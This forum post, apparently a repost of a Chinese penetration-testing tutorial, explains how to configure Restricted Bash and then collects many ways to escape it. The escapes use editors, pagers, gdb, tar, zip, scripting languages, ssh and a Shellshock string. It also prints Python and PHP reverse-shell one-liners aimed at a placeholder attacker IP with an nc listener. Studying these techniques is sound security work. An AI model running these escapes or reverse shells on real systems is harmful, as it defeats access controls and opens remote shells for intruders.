安全矩阵

 找回密码
 立即注册
搜索
查看: 2510|回复: 0

Restricted Bash绕过技巧

[复制链接]

249

主题

299

帖子

1391

积分

金牌会员

Rank: 6Rank: 6

积分
1391
发表于 2022-3-25 19:07:30 | 显示全部楼层 |阅读模式
原文链接:Restricted Bash绕过技巧


0x01 前言
在如今网络安全管理越来越规范,安全运维安全管理逐渐重视,在各种系统配置中运维人员都设定了各种限制,在渗透测试中能获得一个未受限制的shell变得非常困难,为了安全管理运维人员通常会给不同用户设定一些特定的命令限制,来限制非必要命令的执行。
0x02 什么是Restricted Bash
Restricted Bash(rbash)又叫做Restricted Shell,顾名思义就是受限制的shellLinuxshell功能强大,以至于整个Linux系统可以精准的使用shell来控制。在Linux不同用户之间,当你执行的一个系统命令时,它可能是危险的不可逆命令,为不同用户之间设定不同权限进行安全管理引入了限制Bash Shell,防止一些非必要权限用户执行有害系统的高危命令。
再比如一台Linux系统服务器中采用多用户管理,部分用户没有sudo权限,但是这些用户可以查看系统目录中大部分内容,虽然没有权限进行编辑但是不希望这些用户查看这些目录,这时可以通过rbash在不调整系统上每个文件夹权限的情况下通过限制用户输入某些命令来限制用户随意查看。
简单来说rbashshell的区别就是限制一些行为,让一些命令无法执行。
0x03 rbash中的限制
rbash中的限制如下列所示
    使用cd命令
    修改$PATH$SHELL$BASH_ENV$ENV的值
    执行包含/(斜杠)字符的程序,/usr /bin ./
    使用>>|<>>&&>>>等重定向输出
    使用set + rset + o关闭限制
    退出脚本内受限制的模式
rbash的存在是为了提高系统的安全性,但对于渗透者而言rbash限制严重影响了我们在目标机上的信息收集,以及常用的反弹shell
0x04 为用户启用rbash示例
1.创建测试用户
使用具有sudo特权的用户创建一个新测试用户
sudo useradd -m test -s /bin/rbash       ## 创建一个用户名为test,并且设置test登录shellrbash
sudo passwd test                         ## test设置密码
2.为新用户建立目录
test建立bin目录
sudo mkdir /home/test/bin
3.指定用户可以运行的命令
为用户指定可以运行的命令,创建指向新建目录链接。指定用户可以运行mkdirlsping
sudo ln -s /bin/bash /bin/rbash     ## Bash 创建一个名为rbash的符号链接
sudo ln -s /bin/mkdir /home/test/bin  
sudo ln -s /bin/ls /home/test/bin
sudo ln -s /bin/ping /home/test/bin
4.限制新用户修改.bash_profile文件
sudo chown root. /home/test/.bash_profile
sudo chmod 755 /home/test/.bash_profile
5.修改PATH变量
vi /home/test/.bash_profile
PATH=$HOME/bin        ## PATH变量修改为此
6.测试
切换到test用户下执行相关命令受限
0x05 Linux环境信息收集
在我们遇到rbash的时候,想要绕过rbash在绕过前需要做一些信息收集,通过尝试命令来查看Linux环境可以做哪些事,查看rbash限制了那些行为。通过查看收集rbash限制条件,使用合适的绕过方法进行绕过。
需要检查的内容如下:
    检查有哪些可用的命令,如cdlscpsu
    检查操作符>>><|等是否可用
    检查系统是否有编程语言环境Pythonrubyperl
    检查root身份可以运行的命令sudo -l
    检查具有SUID权限的文件或命令
    检查当前所用的shellecho $SHELL
    检查环境变量envprintenv
0x06 rbash绕过方法
1.常见绕过方法
    /字符被允许
如果允许使用/”直接运行 /bin/sh /bin/bash
    cp命令被允许
如果cp命令被允许可直接复制 /bin/sh /bin/bash 到本地目录
    find命令被允许
find / -name SomeName -exec /bin/bash \;
    能够设置PATHSHELL
有权限设置PATHSHELL时,设置如下
export PATH=$PATH:/bin/:/usr/binPATH
export SHELL=/bin/sh
    set shell
在一些编辑器中可通过末行执行命令设置shell
:set shell=/bin/bash
:shell
    切换用户逃逸
Linux切换用户时通常用到susu -,其中他们的区别是,使用su切换用户不会改变当前的用户环境,例如从test用户suroot用户,当前路径未发生改变,环境变量仍是test用户的。使用su -切换用户时用户环境会发生改变,例如从test用户su -root用户,路径改变为/root/,环境变量也发生了改变
su - l test      ## test为切换的用户名
su -- test
su --login test
## su切换用户逃逸时还可以在切换用户时执行spawn shell命令
su -c "python -c  'import pty;pty.spawn(\"/bin/bash\")'" test  ## test为要切换的用户名
2.利用Linux现有软件
    利用ftp
ftp
执行
!/bin/sh
!/bin/bash
    利用gdb
gdb
执行
!/bin/sh
!/bin/bash
    利用git
执行
git help status
然后运行
!/bin/bash
    利用ed
ed
执行
!'/bin/sh/'
!'/bin/bash/'
    利用vi/vim
# 利用在vi/vim中末行模式可以执行命令的特点
vim test   编辑test文件在末行执行
:!/bin/sh
:!/bin/bash
    利用zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"
    利用tar
tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
3.使用编程语言
    利用Python
python -c 'import os; os.system("/bin/bash")'
    利用Perl
perl -e 'exec "/bin/bash";'
    利用Ruby
exec "/bin/bash"
    利用lua
os.execute('/bin/bash').
    利用Perl
perl -e 'exec "/bin/bash";'
    利用awk
awk 'BEGIN {system("/bin/bash")}'
    利用PHP
php -a then exec("bash -i");
4.使用系统命令反弹shell
    使用python反弹shell绕过
攻击机开启监听
nc -lvp PORT
目标建立连接
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
    使用PHP反弹设shell绕过
攻击机开启监听
nc -lvp PORT
目标机建立连接
php -r '$sock=fsockopen("IP",PORT);exec("/bin/bash -i <&3 >&3 2>&3");'
5.利用系统中的二进制文件
    利用more
more test #利用编辑器末行执行命令的特点
!'bash'
    利用less
less test.txt  #利用编辑器末行执行命令的特点
!'bash'
    利用man
!'bash'  #利用编辑器末行执行命令的特点
6.利用expect绕过
expect
expect1.1 > spawn bash
spawn bash
7.通过ssh绕过
ssh username@IP -t "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (sehllshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
## ssh 登录时同样可以通过spawn shell逃逸
ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'
0x08总结
笔者在一次渗透靶机的过程中遇到rbash绕过的问题,于是针对于rbash绕过技巧查找相关资料进行学习,通过借鉴前人经验,重新对rbash绕过技巧进行了汇总总结,文章中没有对所有的方法在相关环境下进行一一测试,安全技术是不断进步的,对于rbash的绕过可能还会有更多的有效方法,希望更多的读者能对文章的不足进行进行批评指正,如果有更好的技巧希望更多的人分享。
参考连接:https://it.baiked.com/database/4533.html
https://www.hackingarticles.in/multiple-methods-to-bypass-restricted-shell/
E
N
D


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 15:40 , Processed in 0.016157 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表